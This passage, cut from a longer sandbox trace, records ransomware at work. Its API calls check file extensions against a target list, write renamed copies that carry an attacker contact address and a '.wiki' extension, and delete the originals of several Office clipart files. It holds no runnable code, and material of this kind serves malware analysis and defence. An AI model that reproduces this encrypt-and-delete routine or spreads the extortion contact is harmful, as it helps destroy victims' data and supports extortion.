(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0063.438] lstrlenW (lpString=".zip") returned 4 [0063.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.438] lstrlenW (lpString=".rar") returned 4 [0063.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.438] lstrlenW (lpString=".bz2") returned 4 [0063.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.438] lstrlenW (lpString=".7z") returned 3 [0063.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0063.438] lstrlenW (lpString=".dbf") returned 4 [0063.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0063.438] lstrlenW (lpString=".1cd") returned 4 [0063.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0063.439] lstrlenW (lpString=".jpg") returned 4 [0063.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.439] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.439] lstrlenW (lpString="BD05119_.WMF") returned 12 [0063.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0063.439] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=17236) returned 1 [0063.439] CloseHandle (hObject=0x240) returned 1 [0063.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0063.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0063.439] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.439] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.440] GetLastError () returned 0x0 [0063.440] ReadFile (in: hFile=0x240, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x4354, lpOverlapped=0x0) returned 1 [0063.443] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x4360, lpOverlapped=0x0) returned 1 [0063.444] ReadFile (in: hFile=0x240, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.445] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.445] SetEndOfFile (hFile=0x1e8) returned 1 [0063.445] CloseHandle (hObject=0x1e8) returned 1 [0063.445] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.445] SetEndOfFile (hFile=0x240) returned 1 [0063.446] CloseHandle (hObject=0x240) returned 1 [0063.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0063.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0063.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0063.446] lstrlenW (lpString=".doc") returned 4 [0063.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.446] lstrlenW (lpString=".docx") returned 5 [0063.446] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.446] lstrlenW (lpString=".pdf") returned 4 [0063.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.446] lstrlenW (lpString=".xls") returned 4 [0063.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.446] lstrlenW (lpString=".xlsx") returned 5 [0063.446] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.446] lstrlenW (lpString=".ppt") returned 4 [0063.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0063.447] lstrlenW (lpString=".zip") returned 4 [0063.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.447] lstrlenW (lpString=".rar") returned 4 [0063.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.447] lstrlenW (lpString=".bz2") returned 4 [0063.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.447] lstrlenW (lpString=".7z") returned 3 [0063.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0063.447] lstrlenW (lpString=".dbf") returned 4 [0063.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0063.447] lstrlenW (lpString=".1cd") returned 4 [0063.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0063.447] lstrlenW (lpString=".jpg") returned 4 [0063.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0063.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0063.447] lstrlenW (lpString=".doc") returned 4 [0063.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.447] lstrlenW (lpString=".docx") returned 5 [0063.447] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.447] lstrlenW (lpString=".pdf") returned 4 [0063.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.447] lstrlenW (lpString=".xls") returned 4 [0063.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.447] lstrlenW (lpString=".xlsx") returned 5 [0063.447] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.447] lstrlenW (lpString=".ppt") returned 4 [0063.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0063.447] lstrlenW (lpString=".zip") returned 4 [0063.448] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.448] lstrlenW (lpString=".rar") returned 4 [0063.448] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.448] lstrlenW (lpString=".bz2") returned 4 [0063.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.448] lstrlenW (lpString=".7z") returned 3 [0063.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0063.448] lstrlenW (lpString=".dbf") returned 4 [0063.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0063.448] lstrlenW (lpString=".1cd") returned 4 [0063.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0063.448] lstrlenW (lpString=".jpg") returned 4 [0063.448] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.448] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.448] lstrlenW (lpString="BD06102_.WMF") returned 12 [0063.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0063.448] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=16112) returned 1 [0063.448] CloseHandle (hObject=0x240) returned 1 [0063.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0063.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0063.449] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.449] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.449] GetLastError () returned 0x0 [0063.449] ReadFile (in: hFile=0x240, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x3ef0, lpOverlapped=0x0) returned 1 [0063.453] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x3f00, lpOverlapped=0x0) returned 1 [0063.454] ReadFile (in: hFile=0x240, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.454] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.454] SetEndOfFile (hFile=0x1e8) returned 1 [0063.454] CloseHandle (hObject=0x1e8) returned 1 [0063.454] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.454] SetEndOfFile (hFile=0x240) returned 1 [0063.455] CloseHandle (hObject=0x240) returned 1 [0063.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0063.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0063.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0063.455] lstrlenW (lpString=".doc") returned 4 [0063.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.455] lstrlenW (lpString=".docx") returned 5 [0063.455] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.455] lstrlenW (lpString=".pdf") returned 4 [0063.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.456] lstrlenW (lpString=".xls") returned 4 [0063.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.456] lstrlenW (lpString=".xlsx") returned 5 [0063.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.456] lstrlenW (lpString=".ppt") returned 4 [0063.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0063.456] lstrlenW (lpString=".zip") returned 4 [0063.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.456] lstrlenW (lpString=".rar") returned 4 [0063.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.456] lstrlenW (lpString=".bz2") returned 4 [0063.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.456] lstrlenW (lpString=".7z") returned 3 [0063.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0063.456] lstrlenW (lpString=".dbf") returned 4 [0063.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0063.456] lstrlenW (lpString=".1cd") returned 4 [0063.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0063.456] lstrlenW (lpString=".jpg") returned 4 [0063.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0063.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0063.456] lstrlenW (lpString=".doc") returned 4 [0063.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.456] lstrlenW (lpString=".docx") returned 5 [0063.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.456] lstrlenW (lpString=".pdf") returned 4 [0063.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.457] lstrlenW (lpString=".xls") returned 4 [0063.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.457] lstrlenW (lpString=".xlsx") returned 5 [0063.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.457] lstrlenW (lpString=".ppt") returned 4 [0063.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0063.457] lstrlenW (lpString=".zip") returned 4 [0063.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.457] lstrlenW (lpString=".rar") returned 4 [0063.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.457] lstrlenW (lpString=".bz2") returned 4 [0063.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.457] lstrlenW (lpString=".7z") returned 3 [0063.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0063.457] lstrlenW (lpString=".dbf") returned 4 [0063.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0063.457] lstrlenW (lpString=".1cd") returned 4 [0063.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0063.457] lstrlenW (lpString=".jpg") returned 4 [0063.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.457] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.457] lstrlenW (lpString="BD06200_.WMF") returned 12 [0063.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0063.460] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=16676) returned 1 [0063.460] CloseHandle (hObject=0x240) returned 1 [0063.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0063.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0063.460] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.461] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.461] GetLastError () returned 0x0 [0063.461] ReadFile (in: hFile=0x240, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x4124, lpOverlapped=0x0) returned 1 [0063.667] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0063.668] ReadFile (in: hFile=0x240, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.668] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.668] SetEndOfFile (hFile=0x1e8) returned 1 [0063.668] CloseHandle (hObject=0x1e8) returned 1 [0063.668] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.668] SetEndOfFile (hFile=0x240) returned 1 [0063.669] CloseHandle (hObject=0x240) returned 1 [0063.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0063.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0063.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0063.785] lstrlenW (lpString=".doc") returned 4 [0063.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.785] lstrlenW (lpString=".docx") returned 5 [0063.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.785] lstrlenW (lpString=".pdf") returned 4 [0063.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.785] lstrlenW (lpString=".xls") returned 4 [0063.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.785] lstrlenW (lpString=".xlsx") returned 5 [0063.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.786] lstrlenW (lpString=".ppt") returned 4 [0063.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0063.786] lstrlenW (lpString=".zip") returned 4 [0063.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.786] lstrlenW (lpString=".rar") returned 4 [0063.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.786] lstrlenW (lpString=".bz2") returned 4 [0063.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.786] lstrlenW (lpString=".7z") returned 3 [0063.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0063.786] lstrlenW (lpString=".dbf") returned 4 [0063.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0063.786] lstrlenW (lpString=".1cd") returned 4 [0063.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0063.786] lstrlenW (lpString=".jpg") returned 4 [0063.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0063.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0063.786] lstrlenW (lpString=".doc") returned 4 [0063.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.786] lstrlenW (lpString=".docx") returned 5 [0063.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.786] lstrlenW (lpString=".pdf") returned 4 [0063.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.786] lstrlenW (lpString=".xls") returned 4 [0063.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.787] lstrlenW (lpString=".xlsx") returned 5 [0063.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.787] lstrlenW (lpString=".ppt") returned 4 [0063.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0063.787] lstrlenW (lpString=".zip") returned 4 [0063.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.787] lstrlenW (lpString=".rar") returned 4 [0063.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.787] lstrlenW (lpString=".bz2") returned 4 [0063.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.787] lstrlenW (lpString=".7z") returned 3 [0063.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0063.787] lstrlenW (lpString=".dbf") returned 4 [0063.787] lstrcmpiW 